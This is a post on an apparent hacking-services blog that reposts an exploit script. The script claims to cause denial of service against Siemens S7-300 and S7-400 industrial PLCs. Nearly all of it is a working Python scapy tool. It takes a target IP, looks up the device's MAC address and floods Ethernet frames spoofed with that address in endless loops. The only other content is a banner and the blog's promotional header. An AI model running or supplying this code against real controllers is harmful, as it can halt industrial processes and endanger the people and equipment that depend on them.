Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86374047

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Siemens S7 Layer 2 - Denial of Service (DoS)
# Date: 21/10/2021
# Exploit Author: RoseSecurity
# Vendor Homepage: https://www.siemens.com/us/en.html
# Version: Firmware versions >= 3
# Tested on: Siemens S7-300, S7-400 PLCs


#!/usr/bin/python3

from scapy.all import *
from colorama import Fore, Back, Style
from subprocess import Popen, PIPE
from art import *
import threading
import subprocess
import time
import os
import sys
import re

# Banner

print(Fore.RED + r"""

 ▄▄▄· ▄• ▄▌▄▄▄▄▄      • ▌ ▄ ·.  ▄▄▄· ▄▄▄▄▄      ▄▄▄   
▐█ ▀█ █▪██▌•██  ▪     ·██ ▐███▪▐█ ▀█ •██  ▪     ▀▄ █· 
▄█▀▀█ █▌▐█▌ ▐█.▪ ▄█▀▄ ▐█ ▌▐▌▐█·▄█▀▀█  ▐█.▪ ▄█▀▄ ▐▀▀▄  
▐█ ▪▐▌▐█▄█▌ ▐█▌·▐█▌.▐▌██ ██▌▐█▌▐█ ▪▐▌ ▐█▌·▐█▌.▐▌▐█•█▌ 
 ▀  ▀  ▀▀▀  ▀▀▀  ▀█▄▀▪▀▀  █▪▀▀▀ ▀  ▀  ▀▀▀  ▀█▄▀▪.▀  ▀ 
▄▄▄▄▄▄▄▄ .▄▄▄  • ▌ ▄ ·. ▪   ▐ ▄  ▄▄▄· ▄▄▄▄▄      ▄▄▄  
•██  ▀▄.▀·▀▄ █··██ ▐███▪██ •█▌▐█▐█ ▀█ •██  ▪     ▀▄ █·
 ▐█.▪▐▀▀▪▄▐▀▀▄ ▐█ ▌▐▌▐█·▐█·▐█▐▐▌▄█▀▀█  ▐█.▪ ▄█▀▄ ▐▀▀▄ 
 ▐█▌·▐█▄▄▌▐█•█▌██ ██▌▐█▌▐█▌██▐█▌▐█ ▪▐▌ ▐█▌·▐█▌.▐▌▐█•█▌
 ▀▀▀  ▀▀▀ .▀  ▀▀▀  █▪▀▀▀▀▀▀▀▀ █▪ ▀  ▀  ▀▀▀  ▀█▄▀▪.▀  ▀
                """)

time.sleep(1.5)

# Get IP to exploit

IP = input("Enter the IP address of the device to exploit: ")

# Find the mac address of the device

Mac = getmacbyip(IP)

# Function to send the ouput to "nothing"

def NULL ():

    f = open(os.devnull, 'w')
    sys.stdout = f

# Eternal loop to produce DoS condition

def Arnold ():

    AutomatorTerminator = True

    while AutomatorTerminator == True:
        Packet = Ether()
        Packet.dst = "00:00:00:00:00:00"
        Packet.src = Mac
        sendp(Packet)
        NULL()
def Sarah ():

    AutomatorTerminator = True

    while AutomatorTerminator == True:
        Packet = Ether()
        Packet.dst = "00:00:00:00:00:00"
        Packet.src = Mac
        sendp(Packet)
        NULL()
def Kyle ():
    AutomatorTerminator = True

    while AutomatorTerminator == True:
        Packet = Ether()
        Packet.dst = "00:00:00:00:00:00"
        Packet.src = Mac
        sendp(Packet)
        NULL()

# Arnold
ArnoldThread = threading.Thread(target=Arnold)
ArnoldThread.start()
ArnoldThread.join()
NULL()

# Sarah

SarahThread = threading.Thread(target=Sarah)
SarahThread.start()
SarahThread.join()
NULL()

# Kyle

KyleThread = threading.Thread(target=Kyle)
KyleThread.start()
KyleThread.join()
NULL()